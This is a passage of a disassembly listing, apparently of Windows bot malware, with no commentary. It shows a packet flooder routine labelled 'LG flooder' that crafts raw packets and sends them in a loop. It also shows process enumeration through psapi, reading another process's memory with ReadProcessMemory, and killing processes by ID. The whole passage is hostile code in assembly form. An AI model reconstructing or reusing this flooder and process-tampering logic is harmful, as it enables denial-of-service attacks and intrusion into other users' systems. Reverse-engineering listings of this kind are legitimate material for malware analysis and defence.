		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch


loc_405C6F:				; CODE XREF: sub_4055E5+468j
					; sub_4055E5+59Dj
		jmp	short loc_405C93
; ---------------------------------------------------------------------------


loc_405C71:				; CODE XREF: sub_4055E5+212j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset dword_418A60
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405C93:				; CODE XREF: sub_4055E5+33Aj
					; sub_4055E5+427j ...
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_1354],	eax
		and	[ebp+var_1350],	0
		jmp	short loc_405CB8
; ---------------------------------------------------------------------------


loc_405CAB:				; CODE XREF: sub_4055E5+6F9j
		mov	eax, [ebp+var_1350]
		inc	eax
		mov	[ebp+var_1350],	eax


loc_405CB8:				; CODE XREF: sub_4055E5+6C4j
		mov	eax, [ebp+var_1350]
		cmp	eax, [ebp+var_1354]
		jnb	short loc_405CE0
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_1350]
		mov	al, [eax]
		shl	al, 1
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1350]
		mov	[ecx], al
		jmp	short loc_405CAB
; ---------------------------------------------------------------------------


loc_405CE0:				; CODE XREF: sub_4055E5+6DFj
		mov	eax, [ebp+var_1354]
		add	eax, 1Ch
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+2], ax
		call	sub_41043F
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+4], ax
		call	sub_410483
		neg	eax
		sbb	eax, eax
		and	al, 0C0h
		add	eax, 80h
		mov	ecx, [ebp+var_133C]
		mov	[ecx+8], al
		push	2
		push	offset dword_41EF48
		call	dword_417244	; inet_addr
		push	eax
		call	sub_4040E8
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_133C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+var_1354]
		add	eax, 14h
		push	eax
		push	[ebp+var_133C]
		call	sub_40407D
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_133C]
		mov	[ecx+0Ah], ax
		movzx	eax, [ebp+var_E]
		test	eax, eax
		jnz	short loc_405D7F
		call	sub_41043F
		mov	ecx, [ebp+var_133C]
		mov	[ecx+16h], ax


loc_405D7F:				; CODE XREF: sub_4055E5+789j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+14h], ax
		mov	eax, [ebp+var_1354]
		add	eax, 8
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+18h], ax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		mov	eax, [ebp+var_1354]
		add	eax, 1Ch
		push	eax
		lea	eax, [ebp+var_1074]
		push	eax
		push	[ebp+var_1078]
		call	dword_417250	; sendto
		mov	[ebp+var_1348],	eax
		cmp	[ebp+var_1348],	0FFFFFFFFh
		jnz	short loc_405E08
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		push	[ebp+var_1078]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_405E41
; ---------------------------------------------------------------------------


loc_405E08:				; CODE XREF: sub_4055E5+805j
		push	[ebp+var_1083]
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1334]
		cmp	dword ptr [eax+4], 0
		jz	short loc_405E22
		jmp	short loc_405E27
; ---------------------------------------------------------------------------


loc_405E22:				; CODE XREF: sub_4055E5+839j
		jmp	loc_4057A9
; ---------------------------------------------------------------------------


loc_405E27:				; CODE XREF: sub_4055E5+1DDj
					; sub_4055E5+83Bj
		push	[ebp+var_1078]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_405E41:				; CODE XREF: sub_4055E5+59j
					; sub_4055E5+94j ...
		leave
		retn	4
sub_4055E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E45	proc near		; CODE XREF: sub_40A9CF+8B2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_8], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_14], 0
		jnz	short loc_405E62


loc_405E5D:				; CODE XREF: sub_405E45+Aj
					; sub_405E45+10j
		jmp	locret_405F65
; ---------------------------------------------------------------------------


loc_405E62:				; CODE XREF: sub_405E45+16j
		push	2B9h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405E7B
		jmp	locret_405F65
; ---------------------------------------------------------------------------


loc_405E7B:				; CODE XREF: sub_405E45+2Fj
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 2A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2ADh], eax
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B1h], eax
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B5h], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 0EA60h
		jge	short loc_405F0E
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_8], eax
		jmp	short loc_405F15
; ---------------------------------------------------------------------------


loc_405F0E:				; CODE XREF: sub_405E45+B9j
		mov	[ebp+var_8], 0EA60h


loc_405F15:				; CODE XREF: sub_405E45+C7j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+2B1h], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 64h
		jle	short loc_405F3B
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_C], eax
		jmp	short loc_405F42
; ---------------------------------------------------------------------------


loc_405F3B:				; CODE XREF: sub_405E45+E6j
		mov	[ebp+var_C], 64h


loc_405F42:				; CODE XREF: sub_405E45+F4j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+2B1h], ecx
		push	offset aLgFlooder ; "LG	flooder"
		push	0
		push	[ebp+var_4]
		push	offset sub_4055E5
		call	sub_4095A4
		add	esp, 10h

locret_405F65:				; CODE XREF: sub_405E45:loc_405E5Dj
					; sub_405E45+31j
		leave
		retn
sub_405E45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F67	proc near		; CODE XREF: sub_4017AA+6Ep
					; sub_401D6E+77p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jnz	short loc_405F8E
		push	1A3h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+198h], 1
		jmp	short loc_405FA1
; ---------------------------------------------------------------------------


loc_405F8E:				; CODE XREF: sub_405F67+7j
		push	1A3h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch


loc_405FA1:				; CODE XREF: sub_405F67+25j
		pop	ebp
		retn
sub_405F67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FA3	proc near		; CODE XREF: .data:004168C1p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset dword_41E2B0
		call	sub_409C36
		pop	ecx
		push	offset aPsapi_dll ; "psapi.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405FC8
		jmp	short locret_40603F
; ---------------------------------------------------------------------------


loc_405FC8:				; CODE XREF: sub_405FA3+21j
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E2AC, eax
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E2A0, eax
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E2A4, eax
		push	offset aGetmoduleinfor ; "GetModuleInformation"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E2A8, eax
		cmp	dword_41E2AC, 0
		jz	short locret_40603F
		cmp	dword_41E2A0, 0
		jz	short locret_40603F
		cmp	dword_41E2A4, 0
		jz	short locret_40603F
		cmp	dword_41E2A8, 0
		jz	short locret_40603F
		mov	byte_41E2CC, 1

locret_40603F:				; CODE XREF: sub_405FA3+23j
					; sub_405FA3+78j ...
		leave
		retn
sub_405FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406041	proc near		; CODE XREF: sub_401244:loc_40129Dp
					; sub_40637C+29p

var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_12B		= byte ptr -12Bh
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	esi
		push	edi
		push	offset dword_41E2B0
		call	sub_409C6C
		pop	ecx
		movzx	eax, byte_41E2CC
		test	eax, eax
		jnz	short loc_406074
		push	offset dword_41E2B0
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	loc_40636A
; ---------------------------------------------------------------------------


loc_406074:				; CODE XREF: sub_406041+1Fj
		and	[ebp+var_C], 0
		and	[ebp+var_4], 0
		and	[ebp+var_1C], 0
		push	[ebp+var_1C]
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_406097
		jmp	loc_406368
; ---------------------------------------------------------------------------


loc_406097:				; CODE XREF: sub_406041+4Fj
					; sub_406041:loc_4060E9j
		mov	eax, [ebp+var_1C]
		add	eax, 80h
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	sub_416BF6	; realloc
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4060BD
		jmp	loc_406366
; ---------------------------------------------------------------------------


loc_4060BD:				; CODE XREF: sub_406041+75j
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	dword_41E2AC
		test	eax, eax
		jnz	short loc_4060DF
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_406364
; ---------------------------------------------------------------------------


loc_4060DF:				; CODE XREF: sub_406041+8Ej
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1C]
		jnb	short loc_4060E9
		jmp	short loc_4060EB
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_406041+A4j
		jmp	short loc_406097
; ---------------------------------------------------------------------------


loc_4060EB:				; CODE XREF: sub_406041+A6j
		mov	eax, [ebp+var_4]
		shr	eax, 2
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		imul	eax, 114h
		add	eax, 8
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_40611E
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_406362
; ---------------------------------------------------------------------------


loc_40611E:				; CODE XREF: sub_406041+CDj
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		add	eax, 8
		mov	ecx, [ebp+var_C]
		mov	[ecx+4], eax
		and	[ebp+var_10], 0
		jmp	short loc_40613F
; ---------------------------------------------------------------------------


loc_406138:				; CODE XREF: sub_406041+156j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_40613F:				; CODE XREF: sub_406041+F5j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	short loc_406199
		push	114h
		push	0
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	edx, [esi+edx*4]
		mov	[ecx+eax], edx
		push	offset aSystem	; "system"
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_406138
; ---------------------------------------------------------------------------


loc_406199:				; CODE XREF: sub_406041+104j
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		and	[ebp+var_10], 0
		jmp	short loc_4061AF
; ---------------------------------------------------------------------------


loc_4061A8:				; CODE XREF: sub_406041+1A8j
					; sub_406041+1D8j ...
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_4061AF:				; CODE XREF: sub_406041+165j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	loc_406343
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		push	410h
		call	dword_417094	; OpenProcess
		mov	[ebp+var_130], eax
		cmp	[ebp+var_130], 0
		jnz	short loc_4061EB
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------


loc_4061EB:				; CODE XREF: sub_406041+1A6j
		and	[ebp+var_20], 0
		and	[ebp+var_28], 0
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_130]
		call	dword_41E2A0
		test	eax, eax
		jnz	short loc_40621B
		push	[ebp+var_130]
		call	dword_4170A4	; CloseHandle
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------


loc_40621B:				; CODE XREF: sub_406041+1CAj
		push	0Ch
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_28]
		push	[ebp+var_130]
		call	dword_41E2A8
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_13C]
		mov	[ecx+eax+4], edx
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_138]
		mov	[ecx+eax+8], edx
		mov	al, byte_41DE30
		mov	[ebp+var_12C], al
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_12B]
		rep stosd
		stosw
		stosb
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_13C]
		push	[ebp+var_130]
		call	dword_41E2A4
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	loc_406332
		movsx	eax, [ebp+var_12C]
		test	eax, eax
		jz	short loc_406332
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_12C]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_4062F7
; ---------------------------------------------------------------------------


loc_4062F0:				; CODE XREF: sub_406041:loc_406330j
		mov	eax, [ebp+var_18]
		dec	eax
		mov	[ebp+var_18], eax


loc_4062F7:				; CODE XREF: sub_406041+2ADj
		cmp	[ebp+var_18], 0
		jz	short loc_406332
		cmp	[ebp+var_18], 1
		ja	short loc_406305
		jmp	short loc_406332
; ---------------------------------------------------------------------------


loc_406305:				; CODE XREF: sub_406041+2C0j
		mov	eax, [ebp+var_18]
		movsx	eax, byte ptr [ebp+eax+var_130+3]
		cmp	eax, 5Ch
		jnz	short loc_406330
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_18]
		mov	[ecx+eax+110h],	edx
		jmp	short loc_406332
; ---------------------------------------------------------------------------


loc_406330:				; CODE XREF: sub_406041+2D2j
		jmp	short loc_4062F0
; ---------------------------------------------------------------------------


loc_406332:				; CODE XREF: sub_406041+264j
					; sub_406041+273j ...
		push	[ebp+var_130]
		call	dword_4170A4	; CloseHandle
		jmp	loc_4061A8
; ---------------------------------------------------------------------------


loc_406343:				; CODE XREF: sub_406041+174j
		push	offset dword_41E2B0
		call	sub_409C7A
		pop	ecx
		mov	eax, [ebp+var_C]
		jmp	short loc_40636A
; ---------------------------------------------------------------------------


loc_406353:				; CODE XREF: sub_406041:loc_406362j
					; sub_406041:loc_406364j ...
		push	offset dword_41E2B0
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short loc_40636A
; ---------------------------------------------------------------------------


loc_406362:				; CODE XREF: sub_406041+D8j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406364:				; CODE XREF: sub_406041+99j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406366:				; CODE XREF: sub_406041+77j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406368:				; CODE XREF: sub_406041+51j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_40636A:				; CODE XREF: sub_406041+2Ej
					; sub_406041+310j ...
		pop	edi
		pop	esi
		leave
		retn
sub_406041	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40636E	proc near		; CODE XREF: sub_401244+4D2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		pop	ebp
		retn
sub_40636E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40637C	proc near		; DATA XREF: sub_4064BF+3Bo

var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_406041
		mov	[ebp+var_1AC], eax
		cmp	[ebp+var_1AC], 0
		jz	loc_4064AD
		mov	eax, [ebp+var_1AC]
		push	dword ptr [eax]
		mov	eax, [ebp+var_1A8]
		push	dword ptr [eax]
		push	offset dword_418B1C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	[ebp+var_1B0], 0
		jmp	short loc_4063F7
; ---------------------------------------------------------------------------


loc_4063EA:				; CODE XREF: sub_40637C:loc_40649Cj
		mov	eax, [ebp+var_1B0]
		inc	eax
		mov	[ebp+var_1B0], eax


loc_4063F7:				; CODE XREF: sub_40637C+6Cj
		mov	eax, [ebp+var_1AC]
		mov	ecx, [ebp+var_1B0]
		cmp	ecx, [eax]
		jge	loc_4064A1
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+8]
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+4]
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	offset dword_418B04
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		mov	eax, [ebp+var_1A8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40649C
		jmp	short loc_4064A1
; ---------------------------------------------------------------------------


loc_40649C:				; CODE XREF: sub_40637C+11Cj
		jmp	loc_4063EA
; ---------------------------------------------------------------------------


loc_4064A1:				; CODE XREF: sub_40637C+89j
					; sub_40637C+11Ej
		push	[ebp+var_1AC]
		call	sub_416B4C	; free
		pop	ecx


loc_4064AD:				; CODE XREF: sub_40637C+3Bj
		push	[ebp+var_1A8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40637C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4064BF	proc near		; CODE XREF: sub_40A9CF+3FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4064D9
		jmp	short locret_406507
; ---------------------------------------------------------------------------


loc_4064D9:				; CODE XREF: sub_4064BF+16j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	offset dword_418B44
		push	0
		push	[ebp+var_4]
		push	offset sub_40637C
		call	sub_4095A4
		add	esp, 10h

locret_406507:				; CODE XREF: sub_4064BF+18j
		leave
		retn
sub_4064BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406509	proc near		; CODE XREF: sub_40A9CF+9C9p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	[ebp+arg_4], 0
		jz	short loc_40651B
		cmp	[ebp+arg_C], 0
		jnz	short loc_406520


loc_40651B:				; CODE XREF: sub_406509+Aj
		jmp	locret_406641
; ---------------------------------------------------------------------------


loc_406520:				; CODE XREF: sub_406509+10j
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+arg_8]
		call	sub_40A8AD
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 180h
		jbe	short loc_406554
		mov	[ebp+var_4], 180h


loc_406554:				; CODE XREF: sub_406509+42j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1C], eax
		push	[ebp+var_8]
		push	0
		push	10h
		call	dword_417094	; OpenProcess
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_406586
		push	[ebp+var_1C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	locret_406641
; ---------------------------------------------------------------------------


loc_406586:				; CODE XREF: sub_406509+6Dj
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_1C]
		push	[ebp+var_C]
		push	[ebp+var_18]
		call	dword_417098	; ReadProcessMemory
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_40662F
		cmp	[ebp+var_14], 0
		jz	short loc_40662F
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		and	[ebp+var_20], 0
		jmp	short loc_4065C9
; ---------------------------------------------------------------------------


loc_4065C2:				; CODE XREF: sub_406509:loc_406620j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_4065C9:				; CODE XREF: sub_406509+B7j
		mov	eax, [ebp+var_20]
		cmp	eax, [ebp+var_14]
		jnb	short loc_406622
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 16h
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 10h
		jg	short loc_406620


loc_406617:				; CODE XREF: sub_406509+D4j
					; sub_406509+E2j ...
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		mov	byte ptr [eax],	2Eh


loc_406620:				; CODE XREF: sub_406509+10Cj
		jmp	short loc_4065C2
; ---------------------------------------------------------------------------


loc_406622:				; CODE XREF: sub_406509+C6j
		push	[ebp+var_1C]
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40662F:				; CODE XREF: sub_406509+9Ej
					; sub_406509+A8j
		push	[ebp+var_1C]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_18]
		call	dword_4170A4	; CloseHandle

locret_406641:				; CODE XREF: sub_406509:loc_40651Bj
					; sub_406509+78j
		leave
		retn
sub_406509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406643	proc near		; CODE XREF: sub_40A9CF+3D7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_406650
		jmp	short locret_40668D
; ---------------------------------------------------------------------------


loc_406650:				; CODE XREF: sub_406643+9j
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		call	dword_4170E8	; GetCurrentProcessId
		cmp	[ebp+var_4], eax
		jnz	short loc_406669
		jmp	short locret_40668D
; ---------------------------------------------------------------------------


loc_406669:				; CODE XREF: sub_406643+22j
		push	[ebp+var_4]
		push	0
		push	1
		call	dword_417094	; OpenProcess
		mov	[ebp+var_8], eax
		push	0
		push	[ebp+var_8]
		call	dword_4170A0	; TerminateProcess
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40668D:				; CODE XREF: sub_406643+Bj
					; sub_406643+24j
		leave
		retn
sub_406643	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40668F	proc near		; CODE XREF: sub_403DF3+149p
					; sub_40A9CF+BDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_4066A0
; ---------------------------------------------------------------------------


loc_406699:				; CODE XREF: sub_40668F+2Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066A0:				; CODE XREF: sub_40668F+8j
		cmp	[ebp+var_4], 8
		jge	short loc_4066BB
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_406699
; ---------------------------------------------------------------------------


loc_4066BB:				; CODE XREF: sub_40668F+15j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066CF
; ---------------------------------------------------------------------------


